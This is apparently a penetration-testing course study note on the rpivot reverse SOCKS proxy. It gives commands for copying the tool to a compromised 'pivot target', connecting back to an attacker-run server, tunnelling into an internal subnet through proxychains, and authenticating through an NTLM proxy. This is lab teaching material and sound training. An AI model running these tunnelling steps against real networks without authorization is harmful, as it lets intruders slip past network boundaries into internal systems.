---
title: "8. rpivot"
date: 2024-08-25
draft: false
---

https://github.com/klsecservices/rpivot
reverse SOCKS proxy tool written in python for SOCKS tunneling 
- binds machine inside a corporate network to an external server; then exposes the client's local port on the server-side. 
- ![](/img/Pasted image 20240825114621.png)

cloning: 
```bash
sudo git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7
```

start server.py from ATTACK HOST: 
```bash
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

transfer rpivot to PIVOT TARGET: 
```bash
scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
```

run client.py from PIVOT TARGET: 
```bash
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```

Configure proxychains to pivot over local server on `127.0.0.1:9050` on our attack host, initially started by python server. 
We should be able to access the webserver on our server-side which is hosted on the internal network of `172.16.5.0/23` at `172.16.5.135:80` using proxychains and firefox. 

```bash
proxychains firefox-esr 172.16.5.135:80
```

Similar to the pivot proxy above, there could be scenarios when we cannot directly pivot to an external server (attack host) on the cloud. Some organizations have [HTTP-proxy with NTLM authentication](https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-grvhenc/b9e676e7-e787-4020-9840-7cfe7c76044a) configured with the Domain Controller. In such cases, we can provide an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by providing a username and password. In these cases, we could use rpivot's client.py in the following way:

```bash
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>
```


---
practical usage: 

```bash
┌──(root㉿kali)-[~/cpts/pivot-tunnel]
└─# scp -r rpivot ubuntu@10.129.6.244:/home/ubuntu
```
![](/img/Pasted image 20240825115619.png)

![](/img/Pasted image 20240825115835.png)
![](/img/Pasted image 20240825115842.png)
We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack host, which was initially started by the Python server.
![](/img/Pasted image 20240825115940.png)
![](/img/Pasted image 20240825120022.png)
